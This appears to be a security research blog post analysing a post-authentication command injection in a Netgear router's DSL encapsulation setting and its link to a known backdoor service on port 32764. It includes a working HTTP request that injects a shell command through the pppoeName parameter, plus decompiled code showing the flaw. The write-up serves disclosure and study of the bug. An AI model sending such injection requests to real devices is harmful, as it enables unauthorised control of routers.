We will keep the same hierarchy as in the previous post.

Firmware version v1.05.00

Command injection in the DSLencapsulation functionality (post-auth)

Looking into /usr/sbin/setup.cgi with Ghidra

It is after having exploited this bug from the administrator Web interface and by analyzing the causes of the bug that I could identify the same backdoor previously discovered by Eloi Benoist-Vanderbeken.

It is possible from the Web interface to define the account name to be used within the DSLencapsulation feature.

alt text

Example of a HTTP GET request to execute a command on the routeur:

GET /setup.cgi?DSLencapsulation=pppoe&pppoeName=%24%28%2Fbin%2Fbusybox+echo+%24PATH+%3E+%2Ftmp%2FHITPPPOE%29&todo=save&this_file=pppoe.htm&next_file=basic.htm HTTP/1.1
Host: 10.8.0.1
Authorization: Basic YWRtaW46cGFzc3dvcmQ=


The parameter pppoeName is used within the function set_pppoeName which itself calls scfgmgr_set.

alt text

alt text

What made me think it was related to the backdoor is the presence of the value 0x53634d4d which when separated into bytes and converted to ASCII gives us:

>>> "\x53\x63\x4d\x4d"
'ScMM'

alt text

FUN_0040b810() will return the file descriptor related to the socket that allows to communicate with the services listening on port 32764. The function FUN_0040b764 will write to the socket and the function FUN_0040b610 will read the response from the service.

To summarize we have the following sequence:

  • set_pppoeName()
    • scfgmgr_set()
      • FUN_0040b944()
        • FUN_0040b810() (socket creation)
        • FUN_0040b764() (writing within the socket)
        • FUN_0040b610() (reading within the socket)

What is important for us is to know what is written in the socket. The function FUN_0040b810 opens a socket to communicate with the service listening on the remote port 32764 (0x7ffc).

alt text

The FUN_0040b764 function writes twice in the socket to communicate with the backdoor. First a header is written and then a payload.

alt text

Thanks to this backdoor our command injection $(/bin/busybox echo $PATH > /tmp/HITPPPOE) is stored in /tmp/nvram as:

File: /tmp/nvram


...

pppoe_username=$(/bin/busybox echo $PATH > /tmp/HITPPPOE)

...

Looking into /usr/sbin/rc with Ghidra

As we have just redefined the DSLencapsulation method to pppoe, the command /usr/sbin/rc wan restart > /dev/null 2>&1 is executed by /usr/sbin/setup.cgi, and it is the function FUN_00407ce8 within /usr/sbin/rc that is responsible for executing the system command that we have injected in the HTTP POST parameter pppoeName.

File: FUN_00407ce8.pseudocode

void FUN_00407ce8(int param_1,int param_2,undefined4 param_3,undefined4 param_4) {

...

  if (param_1 == 0) {

    ...

    pcVar1 = nvram_get("pppoe_username",pcVar7,pcVar9,param_4);
    if (pcVar1 == (char *)0x0) {
      pcVar1 = "";
    }

    ...

    sprintf(&local_558,
            "/usr/sbin/pppd plugin pppoe nas0  user %s password %s %s %s nodetach defaultroute %s %s maxfail 0 %s %s"
            ,pcVar1,pcVar9,pcVar7,&local_570,&local_5a0,&local_590,&local_158,
            "lcp-echo-failure 3 lcp-echo-interval 10 &");
  }
  else {

    ...

  }
  system(&local_558);

  ...

}

We will now see if the vulnerabilities have been fixed within the updates proposed by Netgear.